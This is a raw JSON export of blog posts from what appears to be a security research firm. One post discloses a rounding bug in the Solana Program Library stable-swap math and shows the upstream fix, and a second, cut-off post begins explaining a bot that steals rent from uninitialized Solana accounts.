",{"type":23,"tag":92,"props":3444,"children":3447},{"href":3445,"rel":3446},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[96],[3448],{"type":28,"value":3449},"Curve.fi implementation",{"type":28,"value":320},{"type":23,"tag":494,"props":3452,"children":3456},{"code":3453,"language":3454,"meta":7,"className":3455,"style":7},"    dy: uint256 = xp[j] - y - 1  # -1 just in case there were some rounding errors\n    dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n","solidity","language-solidity shiki shiki-themes slack-dark",[3457],{"type":23,"tag":56,"props":3458,"children":3459},{"__ignoreMap":7},[3460,3523],{"type":23,"tag":504,"props":3461,"children":3462},{"class":506,"line":507},[3463,3468,3473,3478,3482,3487,3491,3496,3500,3505,3510,3514,3518],{"type":23,"tag":504,"props":3464,"children":3465},{"style":523},[3466],{"type":28,"value":3467},"    dy",{"type":23,"tag":504,"props":3469,"children":3470},{"style":598},[3471],{"type":28,"value":3472},":",{"type":23,"tag":504,"props":3474,"children":3475},{"style":1012},[3476],{"type":28,"value":3477}," uint256",{"type":23,"tag":504,"props":3479,"children":3480},{"style":598},[3481],{"type":28,"value":648},{"type":23,"tag":504,"props":3483,"children":3484},{"style":523},[3485],{"type":28,"value":3486}," xp[j] ",{"type":23,"tag":504,"props":3488,"children":3489},{"style":598},[3490],{"type":28,"value":3308},{"type":23,"tag":504,"props":3492,"children":3493},{"style":523},[3494],{"type":28,"value":3495}," y ",{"type":23,"tag":504,"props":3497,"children":3498},{"style":598},[3499],{"type":28,"value":3308},{"type":23,"tag":504,"props":3501,"children":3502},{"style":1440},[3503],{"type":28,"value":3504}," 1",{"type":23,"tag":504,"props":3506,"children":3507},{"style":523},[3508],{"type":28,"value":3509},"  # ",{"type":23,"tag":504,"props":3511,"children":3512},{"style":598},[3513],{"type":28,"value":3308},{"type":23,"tag":504,"props":3515,"children":3516},{"style":1440},[3517],{"type":28,"value":2991},{"type":23,"tag":504,"props":3519,"children":3520},{"style":523},[3521],{"type":28,"value":3522}," just in case there were some rounding errors\n",{"type":23,"tag":504,"props":3524,"children":3525},{"class":506,"line":540},[3526,3531,3535,3539,3543,3548,3553,3558,3563],{"type":23,"tag":504,"props":3527,"children":3528},{"style":523},[3529],{"type":28,"value":3530},"    dy_fee",{"type":23,"tag":504,"props":3532,"children":3533},{"style":598},[3534],{"type":28,"value":3472},{"type":23,"tag":504,"props":3536,"children":3537},{"style":1012},[3538],{"type":28,"value":3477},{"type":23,"tag":504,"props":3540,"children":3541},{"style":598},[3542],{"type":28,"value":648},{"type":23,"tag":504,"props":3544,"children":3545},{"style":523},[3546],{"type":28,"value":3547}," dy ",{"type":23,"tag":504,"props":3549,"children":3550},{"style":598},[3551],{"type":28,"value":3552},"*",{"type":23,"tag":504,"props":3554,"children":3555},{"style":523},[3556],{"type":28,"value":3557}," self.fee ",{"type":23,"tag":504,"props":3559,"children":3560},{"style":598},[3561],{"type":28,"value":3562},"/",{"type":23,"tag":504,"props":3564,"children":3565},{"style":523},[3566],{"type":28,"value":3567}," FEE_DENOMINATOR\n",{"type":23,"tag":24,"props":3569,"children":3570},{},[3571,3573,3580],{"type":28,"value":3572},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":23,"tag":92,"props":3574,"children":3577},{"href":3575,"rel":3576},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[96],[3578],{"type":28,"value":3579},"original commit",{"type":28,"value":3581},", not as an additional security patch.",{"type":23,"tag":494,"props":3583,"children":3585},{"code":3584},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate:   Mon Aug 31 02:35:30 2020 +0300\n\n    feat: add base pool without lending\n",[3586],{"type":23,"tag":56,"props":3587,"children":3588},{"__ignoreMap":7},[3589],{"type":28,"value":3584},{"type":23,"tag":24,"props":3591,"children":3592},{},[3593,3595,3602],{"type":28,"value":3594},"The commit adding stable swaps to SPL was ",{"type":23,"tag":92,"props":3596,"children":3599},{"href":3597,"rel":3598},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[96],[3600],{"type":28,"value":3601},"made a few months later",{"type":28,"value":3603},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":23,"tag":494,"props":3605,"children":3607},{"code":3606},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate:   Tue Nov 17 15:13:18 2020 +0200\n\n    Added stable curve invariant to the token swap smart contract (#838)\n\n    * Added stable curve invariant to the token swap smart contract\n\n    * Fixed formatting\n\n    * Added missing stable curve constraints\n\n    * Symbol renames to make math clearer\n\n    * Small refactoring according to PR comments, fixes for JS tests\n",[3608],{"type":23,"tag":56,"props":3609,"children":3610},{"__ignoreMap":7},[3611],{"type":28,"value":3606},{"type":23,"tag":24,"props":3613,"children":3614},{},[3615,3617,3624],{"type":28,"value":3616},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":23,"tag":92,"props":3618,"children":3621},{"href":3619,"rel":3620},"https://github.com/solana-labs/solana-program-library",[96],[3622],{"type":28,"value":3623},"the Solana Program Library",{"type":28,"value":320},{"type":23,"tag":24,"props":3626,"children":3627},{},[3628],{"type":28,"value":3629},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":23,"tag":24,"props":3631,"children":3632},{},[3633,3640],{"type":23,"tag":92,"props":3634,"children":3637},{"href":3635,"rel":3636},"https://github.com/joncinque",[96],[3638],{"type":28,"value":3639},"@joncinque",{"type":28,"value":3641}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":23,"tag":1909,"props":3643,"children":3644},{},[3645],{"type":23,"tag":24,"props":3646,"children":3647},{},[3648],{"type":28,"value":3649},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":23,"tag":24,"props":3651,"children":3652},{},[3653,3655,3662,3664,3670],{"type":28,"value":3654},"After some thought, he helped ",{"type":23,"tag":92,"props":3656,"children":3659},{"href":3657,"rel":3658},"https://github.com/solana-labs/solana-program-library/pull/2942",[96],[3660],{"type":28,"value":3661},"introduce a PR",{"type":28,"value":3663}," which ceilings the computation in ",{"type":23,"tag":56,"props":3665,"children":3667},{"className":3666},[],[3668],{"type":28,"value":3669},"compute_new_destination_amount",{"type":28,"value":3671}," to correctly round within the stable curve math library.",{"type":23,"tag":494,"props":3673,"children":3675},{"code":3674,"language":1956,"meta":7,"className":1957,"style":7},"     // Solve for y by approximating: y**2 + b*y = c\n     let mut y_prev: U256;\n     let mut y = d_val;\n     for _ in 0..ITERATIONS {\n-        y_prev = y;\n-        y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n-            .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n-        if y == y_prev {\n+        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+        if y_new == y {\n             break;\n+        } else {\n+            y = y_new;\n         }\n",[3676],{"type":23,"tag":56,"props":3677,"children":3678},{"__ignoreMap":7},[3679,3687,3717,3744,3772,3796,3872,3976,4003,4098,4201,4228,4240,4259,4282],{"type":23,"tag":504,"props":3680,"children":3681},{"class":506,"line":507},[3682],{"type":23,"tag":504,"props":3683,"children":3684},{"style":1106},[3685],{"type":28,"value":3686},"     // Solve for y by approximating: y**2 + b*y = c\n",{"type":23,"tag":504,"props":3688,"children":3689},{"class":506,"line":540},[3690,3695,3699,3704,3708,3713],{"type":23,"tag":504,"props":3691,"children":3692},{"style":511},[3693],{"type":28,"value":3694},"     let",{"type":23,"tag":504,"props":3696,"children":3697},{"style":511},[3698],{"type":28,"value":1982},{"type":23,"tag":504,"props":3700,"children":3701},{"style":529},[3702],{"type":28,"value":3703}," y_prev",{"type":23,"tag":504,"props":3705,"children":3706},{"style":598},[3707],{"type":28,"value":3472},{"type":23,"tag":504,"props":3709,"children":3710},{"style":1012},[3711],{"type":28,"value":3712}," U256",{"type":23,"tag":504,"props":3714,"children":3715},{"style":523},[3716],{"type":28,"value":866},{"type":23,"tag":504,"props":3718,"children":3719},{"class":506,"line":555},[3720,3724,3728,3732,3736,3740],{"type":23,"tag":504,"props":3721,"children":3722},{"style":511},[3723],{"type":28,"value":3694},{"type":23,"tag":504,"props":3725,"children":3726},{"style":511},[3727],{"type":28,"value":1982},{"type":23,"tag":504,"props":3729,"children":3730},{"style":529},[3731],{"type":28,"value":1987},{"type":23,"tag":504,"props":3733,"children":3734},{"style":598},[3735],{"type":28,"value":648},{"type":23,"tag":504,"props":3737,"children":3738},{"style":529},[3739],{"type":28,"value":1996},{"type":23,"tag":504,"props":3741,"children":3742},{"style":523},[3743],{"type":28,"value":866},{"type":23,"tag":504,"props":3745,"children":3746},{"class":506,"line":633},[3747,3752,3756,3760,3764,3768],{"type":23,"tag":504,"props":3748,"children":3749},{"style":544},[3750],{"type":28,"value":3751},"     for",{"type":23,"tag":504,"props":3753,"children":3754},{"style":529},[3755],{"type":28,"value":2013},{"type":23,"tag":504,"props":3757,"children":3758},{"style":511},[3759],{"type":28,"value":2018},{"type":23,"tag":504,"props":3761,"children":3762},{"style":1440},[3763],{"type":28,"value":2023},{"type":23,"tag":504,"props":3765,"children":3766},{"style":598},[3767],{"type":28,"value":2028},{"type":23,"tag":504,"props":3769,"children":3770},{"style":523},[3771],{"type":28,"value":2033},{"type":23,"tag":504,"props":3773,"children":3774},{"class":506,"line":687},[3775,3779,3784,3788,3792],{"type":23,"tag":504,"props":3776,"children":3777},{"style":598},[3778],{"type":28,"value":3308},{"type":23,"tag":504,"props":3780,"children":3781},{"style":529},[3782],{"type":28,"value":3783},"        y_prev",{"type":23,"tag":504,"props":3785,"children":3786},{"style":598},[3787],{"type":28,"value":648},{"type":23,"tag":504,"props":3789,"children":3790},{"style":529},[3791],{"type":28,"value":1987},{"type":23,"tag":504,"props":3793,"children":3794},{"style":523},[3795],{"type":28,"value":866},{"type":23,"tag":504,"props":3797,"children":3798},{"class":506,"line":736},[3799,3803,3808,3812,3816,3820,3824,3828,3832,3836,3840,3844,3848,3852,3856,3860,3864,3868],{"type":23,"tag":504,"props":3800,"children":3801},{"style":598},[3802],{"type":28,"value":3308},{"type":23,"tag":504,"props":3804,"children":3805},{"style":529},[3806],{"type":28,"value":3807},"        y",{"type":23,"tag":504,"props":3809,"children":3810},{"style":598},[3811],{"type":28,"value":648},{"type":23,"tag":504,"props":3813,"children":3814},{"style":523},[3815],{"type":28,"value":801},{"type":23,"tag":504,"props":3817,"children":3818},{"style":517},[3819],{"type":28,"value":2077},{"type":23,"tag":504,"props":3821,"children":3822},{"style":523},[3823],{"type":28,"value":526},{"type":23,"tag":504,"props":3825,"children":3826},{"style":598},[3827],{"type":28,"value":2086},{"type":23,"tag":504,"props":3829,"children":3830},{"style":529},[3831],{"type":28,"value":2091},{"type":23,"tag":504,"props":3833,"children":3834},{"style":523},[3835],{"type":28,"value":576},{"type":23,"tag":504,"props":3837,"children":3838},{"style":1440},[3839],{"type":28,"value":2100},{"type":23,"tag":504,"props":3841,"children":3842},{"style":523},[3843],{"type":28,"value":2105},{"type":23,"tag":504,"props":3845,"children":3846},{"style":598},[3847],{"type":28,"value":2110},{"type":23,"tag":504,"props":3849,"children":3850},{"style":517},[3851],{"type":28,"value":2115},{"type":23,"tag":504,"props":3853,"children":3854},{"style":523},[3855],{"type":28,"value":526},{"type":23,"tag":504,"props":3857,"children":3858},{"style":529},[3859],{"type":28,"value":2124},{"type":23,"tag":504,"props":3861,"children":3862},{"style":523},[3863],{"type":28,"value":2105},{"type":23,"tag":504,"props":3865,"children":3866},{"style":598},[3867],{"type":28,"value":2133},{"type":23,"tag":504,"props":3869,"children":3870},{"style":523},[3871],{"type":28,"value":1192},{"type":23,"tag":504,"props":3873,"children":3874},{"class":506,"line":785},[3875,3879,3883,3888,3892,3896,3900,3904,3908,3912,3916,3920,3924,3928,3932,3936,3940,3944,3948,3952,3956,3960,3964,3968,3972],{"type":23,"tag":504,"props":3876,"children":3877},{"style":598},[3878],{"type":28,"value":3308},{"type":23,"tag":504,"props":3880,"children":3881},{"style":598},[3882],{"type":28,"value":2145},{"type":23,"tag":504,"props":3884,"children":3885},{"style":517},[3886],{"type":28,"value":3887},"checked_div",{"type":23,"tag":504,"props":3889,"children":3890},{"style":523},[3891],{"type":28,"value":526},{"type":23,"tag":504,"props":3893,"children":3894},{"style":517},[3895],{"type":28,"value":2159},{"type":23,"tag":504,"props":3897,"children":3898},{"style":523},[3899],{"type":28,"value":526},{"type":23,"tag":504,"props":3901,"children":3902},{"style":598},[3903],{"type":28,"value":2086},{"type":23,"tag":504,"props":3905,"children":3906},{"style":529},[3907],{"type":28,"value":2091},{"type":23,"tag":504,"props":3909,"children":3910},{"style":523},[3911],{"type":28,"value":576},{"type":23,"tag":504,"props":3913,"children":3914},{"style":1440},[3915],{"type":28,"value":2100},{"type":23,"tag":504,"props":3917,"children":3918},{"style":523},[3919],{"type":28,"value":2105},{"type":23,"tag":504,"props":3921,"children":3922},{"style":598},[3923],{"type":28,"value":2110},{"type":23,"tag":504,"props":3925,"children":3926},{"style":517},[3927],{"type":28,"value":2115},{"type":23,"tag":504,"props":3929,"children":3930},{"style":523},[3931],{"type":28,"value":526},{"type":23,"tag":504,"props":3933,"children":3934},{"style":529},[3935],{"type":28,"value":2200},{"type":23,"tag":504,"props":3937,"children":3938},{"style":523},[3939],{"type":28,"value":2105},{"type":23,"tag":504,"props":3941,"children":3942},{"style":598},[3943],{"type":28,"value":2110},{"type":23,"tag":504,"props":3945,"children":3946},{"style":517},[3947],{"type":28,"value":2213},{"type":23,"tag":504,"props":3949,"children":3950},{"style":523},[3951],{"type":28,"value":526},{"type":23,"tag":504,"props":3953,"children":3954},{"style":529},[3955],{"type":28,"value":2222},{"type":23,"tag":504,"props":3957,"children":3958},{"style":523},[3959],{"type":28,"value":2105},{"type":23,"tag":504,"props":3961,"children":3962},{"style":598},[3963],{"type":28,"value":2133},{"type":23,"tag":504,"props":3965,"children":3966},{"style":523},[3967],{"type":28,"value":2105},{"type":23,"tag":504,"props":3969,"children":3970},{"style":598},[3971],{"type":28,"value":2133},{"type":23,"tag":504,"props":3973,"children":3974},{"style":523},[3975],{"type":28,"value":866},{"type":23,"tag":504,"props":3977,"children":3978},{"class":506,"line":813},[3979,3983,3987,3991,3995,3999],{"type":23,"tag":504,"props":3980,"children":3981},{"style":598},[3982],{"type":28,"value":3308},{"type":23,"tag":504,"props":3984,"children":3985},{"style":544},[3986],{"type":28,"value":2250},{"type":23,"tag":504,"props":3988,"children":3989},{"style":529},[3990],{"type":28,"value":1987},{"type":23,"tag":504,"props":3992,"children":3993},{"style":598},[3994],{"type":28,"value":2260},{"type":23,"tag":504,"props":3996,"children":3997},{"style":529},[3998],{"type":28,"value":3703},{"type":23,"tag":504,"props":4000,"children":4001},{"style":523},[4002],{"type":28,"value":552},{"type":23,"tag":504,"props":4004,"children":4005},{"class":506,"line":851},[4006,4010,4014,4018,4022,4026,4030,4034,4038,4042,4046,4050,4054,4058,4062,4066,4070,4074,4078,4082,4086,4090,4094],{"type":23,"tag":504,"props":4007,"children":4008},{"style":598},[4009],{"type":28,"value":1642},{"type":23,"tag":504,"props":4011,"children":4012},{"style":511},[4013],{"type":28,"value":2041},{"type":23,"tag":504,"props":4015,"children":4016},{"style":523},[4017],{"type":28,"value":801},{"type":23,"tag":504,"props":4019,"children":4020},{"style":529},[4021],{"type":28,"value":2050},{"type":23,"tag":504,"props":4023,"children":4024},{"style":523},[4025],{"type":28,"value":576},{"type":23,"tag":504,"props":4027,"children":4028},{"style":529},[4029],{"type":28,"value":2059},{"type":23,"tag":504,"props":4031,"children":4032},{"style":523},[4033],{"type":28,"value":2064},{"type":23,"tag":504,"props":4035,"children":4036},{"style":598},[4037],{"type":28,"value":601},{"type":23,"tag":504,"props":4039,"children":4040},{"style":523},[4041],{"type":28,"value":801},{"type":23,"tag":504,"props":4043,"children":4044},{"style":517},[4045],{"type":28,"value":2077},{"type":23,"tag":504,"props":4047,"children":4048},{"style":523},[4049],{"type":28,"value":526},{"type":23,"tag":504,"props":4051,"children":4052},{"style":598},[4053],{"type":28,"value":2086},{"type":23,"tag":504,"props":4055,"children":4056},{"style":529},[4057],{"type":28,"value":2091},{"type":23,"tag":504,"props":4059,"children":4060},{"style":523},[4061],{"type":28,"value":576},{"type":23,"tag":504,"props":4063,"children":4064},{"style":1440},[4065],{"type":28,"value":2100},{"type":23,"tag":504,"props":4067,"children":4068},{"style":523},[4069],{"type":28,"value":2105},{"type":23,"tag":504,"props":4071,"children":4072},{"style":598},[4073],{"type":28,"value":2110},{"type":23,"tag":504,"props":4075,"children":4076},{"style":517},[4077],{"type":28,"value":2115},{"type":23,"tag":504,"props":4079,"children":4080},{"style":523},[4081],{"type":28,"value":526},{"type":23,"tag":504,"props":4083,"children":4084},{"style":529},[4085],{"type":28,"value":2124},{"type":23,"tag":504,"props":4087,"children":4088},{"style":523},[4089],{"type":28,"value":2105},{"type":23,"tag":504,"props":4091,"children":4092},{"style":598},[4093],{"type":28,"value":2133},{"type":23,"tag":504,"props":4095,"children":4096},{"style":523},[4097],{"type":28,"value":1192},{"type":23,"tag":504,"props":4099,"children":4100},{"class":506,"line":869},[4101,4105,4109,4113,4117,4121,4125,4129,4133,4137,4141,4145,4149,4153,4157,4161,4165,4169,4173,4177,4181,4185,4189,4193,4197],{"type":23,"tag":504,"props":4102,"children":4103},{"style":598},[4104],{"type":28,"value":1642},{"type":23,"tag":504,"props":4106,"children":4107},{"style":598},[4108],{"type":28,"value":2145},{"type":23,"tag":504,"props":4110,"children":4111},{"style":517},[4112],{"type":28,"value":2150},{"type":23,"tag":504,"props":4114,"children":4115},{"style":523},[4116],{"type":28,"value":526},{"type":23,"tag":504,"props":4118,"children":4119},{"style":517},[4120],{"type":28,"value":2159},{"type":23,"tag":504,"props":4122,"children":4123},{"style":523},[4124],{"type":28,"value":526},{"type":23,"tag":504,"props":4126,"children":4127},{"style":598},[4128],{"type":28,"value":2086},{"type":23,"tag":504,"props":4130,"children":4131},{"style":529},[4132],{"type":28,"value":2091},{"type":23,"tag":504,"props":4134,"children":4135},{"style":523},[4136],{"type":28,"value":576},{"type":23,"tag":504,"props":4138,"children":4139},{"style":1440},[4140],{"type":28,"value":2100},{"type":23,"tag":504,"props":4142,"children":4143},{"style":523},[4144],{"type":28,"value":2105},{"type":23,"tag":504,"props":4146,"children":4147},{"style":598},[4148],{"type":28,"value":2110},{"type":23,"tag":504,"props":4150,"children":4151},{"style":517},[4152],{"type":28,"value":2115},{"type":23,"tag":504,"props":4154,"children":4155},{"style":523},[4156],{"type":28,"value":526},{"type":23,"tag":504,"props":4158,"children":4159},{"style":529},[4160],{"type":28,"value":2200},{"type":23,"tag":504,"props":4162,"children":4163},{"style":523},[4164],{"type":28,"value":2105},{"type":23,"tag":504,"props":4166,"children":4167},{"style":598},[4168],{"type":28,"value":2110},{"type":23,"tag":504,"props":4170,"children":4171},{"style":517},[4172],{"type":28,"value":2213},{"type":23,"tag":504,"props":4174,"children":4175},{"style":523},[4176],{"type":28,"value":526},{"type":23,"tag":504,"props":4178,"children":4179},{"style":529},[4180],{"type":28,"value":2222},{"type":23,"tag":504,"props":4182,"children":4183},{"style":523},[4184],{"type":28,"value":2105},{"type":23,"tag":504,"props":4186,"children":4187},{"style":598},[4188],{"type":28,"value":2133},{"type":23,"tag":504,"props":4190,"children":4191},{"style":523},[4192],{"type":28,"value":2105},{"type":23,"tag":504,"props":4194,"children":4195},{"style":598},[4196],{"type":28,"value":2133},{"type":23,"tag":504,"props":4198,"children":4199},{"style":523},[4200],{"type":28,"value":866},{"type":23,"tag":504,"props":4202,"children":4203},{"class":506,"line":878},[4204,4208,4212,4216,4220,4224],{"type":23,"tag":504,"props":4205,"children":4206},{"style":598},[4207],{"type":28,"value":1642},{"type":23,"tag":504,"props":4209,"children":4210},{"style":544},[4211],{"type":28,"value":2250},{"type":23,"tag":504,"props":4213,"children":4214},{"style":529},[4215],{"type":28,"value":2255},{"type":23,"tag":504,"props":4217,"children":4218},{"style":598},[4219],{"type":28,"value":2260},{"type":23,"tag":504,"props":4221,"children":4222},{"style":529},[4223],{"type":28,"value":1987},{"type":23,"tag":504,"props":4225,"children":4226},{"style":523},[4227],{"type":28,"value":552},{"type":23,"tag":504,"props":4229,"children":4230},{"class":506,"line":1221},[4231,4236],{"type":23,"tag":504,"props":4232,"children":4233},{"style":544},[4234],{"type":28,"value":4235},"             break",{"type":23,"tag":504,"props":4237,"children":4238},{"style":523},[4239],{"type":28,"value":866},{"type":23,"tag":504,"props":4241,"children":4242},{"class":506,"line":1276},[4243,4247,4251,4255],{"type":23,"tag":504,"props":4244,"children":4245},{"style":598},[4246],{"type":28,"value":1642},{"type":23,"tag":504,"props":4248,"children":4249},{"style":523},[4250],{"type":28,"value":2288},{"type":23,"tag":504,"props":4252,"children":4253},{"style":544},[4254],{"type":28,"value":2293},{"type":23,"tag":504,"props":4256,"children":4257},{"style":523},[4258],{"type":28,"value":552},{"type":23,"tag":504,"props":4260,"children":4261},{"class":506,"line":1285},[4262,4266,4270,4274,4278],{"type":23,"tag":504,"props":4263,"children":4264},{"style":598},[4265],{"type":28,"value":1642},{"type":23,"tag":504,"props":4267,"children":4268},{"style":529},[4269],{"type":28,"value":2305},{"type":23,"tag":504,"props":4271,"children":4272},{"style":598},[4273],{"type":28,"value":648},{"type":23,"tag":504,"props":4275,"children":4276},{"style":529},[4277],{"type":28,"value":2255},{"type":23,"tag":504,"props":4279,"children":4280},{"style":523},[4281],{"type":28,"value":866},{"type":23,"tag":504,"props":4283,"children":4284},{"class":506,"line":1294},[4285],{"type":23,"tag":504,"props":4286,"children":4287},{"style":523},[4288],{"type":28,"value":4289},"         }\n",{"type":23,"tag":70,"props":4291,"children":4293},{"id":4292},"closing-thoughts",[4294],{"type":28,"value":4295},"Closing Thoughts",{"type":23,"tag":24,"props":4297,"children":4298},{},[4299],{"type":28,"value":4300},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":23,"tag":24,"props":4302,"children":4303},{},[4304,4306,4311],{"type":28,"value":4305},"Another interesting takeaway is that ",{"type":23,"tag":296,"props":4307,"children":4308},{},[4309],{"type":28,"value":4310},"fuzzing can give a false sense of security",{"type":28,"value":4312},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":23,"tag":24,"props":4314,"children":4315},{},[4316,4318,4325],{"type":28,"value":4317},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":23,"tag":92,"props":4319,"children":4322},{"href":4320,"rel":4321},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[96],[4323],{"type":28,"value":4324},"port-mortem of the NSS overflow",{"type":28,"value":320},{"type":23,"tag":24,"props":4327,"children":4328},{},[4329],{"type":23,"tag":126,"props":4330,"children":4332},{"alt":7,"src":4331},"/posts/spl-swap/p0.png",[],{"type":23,"tag":24,"props":4334,"children":4335},{},[4336],{"type":28,"value":4337},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":23,"tag":24,"props":4339,"children":4340},{},[4341],{"type":28,"value":4342},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":23,"tag":24,"props":4344,"children":4345},{},[4346],{"type":28,"value":4347},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":23,"tag":1815,"props":4349,"children":4350},{},[4351],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":4353},[4354,4355,4356,4357],{"id":1894,"depth":540,"text":1897},{"id":2899,"depth":540,"text":2902},{"id":3206,"depth":540,"text":3209},{"id":4292,"depth":540,"text":4295},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":4362,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":4363,"description":4364,"image":4365,"date":4369,"isFeatured":16,"onBlogPage":16,"tags":4370,"body":4371,"_type":1838,"_id":4695,"_source":1840,"_file":4696,"_stem":4697,"_extension":1843},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":4366,"width":4367,"height":4368},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[1855,1856],{"type":20,"children":4372,"toc":4688},[4373,4378,4384,4389,4394,4399,4405,4418,4465,4496,4505,4510,4515,4520,4526,4539,4555,4560,4565,4580,4584,4589,4604,4611,4616,4626,4633,4637,4642,4648,4653,4658,4663,4669,4674],{"type":23,"tag":24,"props":4374,"children":4375},{},[4376],{"type":28,"value":4377},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":23,"tag":70,"props":4379,"children":4381},{"id":4380},"background",[4382],{"type":28,"value":4383},"Background",{"type":23,"tag":24,"props":4385,"children":4386},{},[4387],{"type":28,"value":4388},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":23,"tag":24,"props":4390,"children":4391},{},[4392],{"type":28,"value":4393},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":23,"tag":24,"props":4395,"children":4396},{},[4397],{"type":28,"value":4398},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":23,"tag":70,"props":4400,"children":4402},{"id":4401},"the-exploit",[4403],{"type":28,"value":4404},"The Exploit",{"type":23,"tag":24,"props":4406,"children":4407},{},[4408,4410,4416],{"type":28,"value":4409},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":23,"tag":56,"props":4411,"children":4413},{"className":4412},[],[4414],{"type":28,"value":4415},"init_reserve",{"type":28,"value":4417}," function, which creates 6 new accounts to store data about the reserve:",{"type":23,"tag":41,"props":4419,"children":4420},{},[4421,4426,4431,4436,4447,4452],{"type":23,"tag":45,"props":4422,"children":4423},{},[4424],{"type":28,"value":4425},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":23,"tag":45,"props":4427,"children":4428},{},[4429],{"type":28,"value":4430},"reserve liquidity token account - holds deposited tokens",{"type":23,"tag":45,"props":4432,"children":4433},{},[4434],{"type":28,"value":4435},"fee receiver token account - account which will receive origination fees on borrows",{"type":23,"tag":45,"props":4437,"children":4438},{},[4439,4441],{"type":28,"value":4440},"reserve collateral mint account - deposit receipt token, also known as ",{"type":23,"tag":56,"props":4442,"children":4444},{"className":4443},[],[4445],{"type":28,"value":4446},"cTokens",{"type":23,"tag":45,"props":4448,"children":4449},{},[4450],{"type":28,"value":4451},"reserve collateral token account - holds users' collateral tokens",{"type":23,"tag":45,"props":4453,"children":4454},{},[4455,4457,4463],{"type":28,"value":4456},"creator collateral token account - creator's ",{"type":23,"tag":56,"props":4458,"children":4460},{"className":4459},[],[4461],{"type":28,"value":4462},"cToken",{"type":28,"value":4464}," account",{"type":23,"tag":24,"props":4466,"children":4467},{},[4468,4470,4475,4477,4482,4484,4489,4491],{"type":28,"value":4469},"Account creation and initialization are ",{"type":23,"tag":1887,"props":4471,"children":4472},{},[4473],{"type":28,"value":4474},"usually",{"type":28,"value":4476}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":23,"tag":56,"props":4478,"children":4480},{"className":4479},[],[4481],{"type":28,"value":4415},{"type":28,"value":4483}," is ",{"type":23,"tag":1887,"props":4485,"children":4486},{},[4487],{"type":28,"value":4488},"supposed",{"type":28,"value":4490}," to look like:\n",{"type":23,"tag":126,"props":4492,"children":4495},{"src":4493,"alt":4494},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":23,"tag":24,"props":4497,"children":4498},{},[4499,4501],{"type":28,"value":4500},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":23,"tag":126,"props":4502,"children":4504},{"src":4503,"alt":4494},"/posts/rent-thief/attacktransac.png",[],{"type":23,"tag":24,"props":4506,"children":4507},{},[4508],{"type":28,"value":4509},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":23,"tag":24,"props":4511,"children":4512},{},[4513],{"type":28,"value":4514},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), 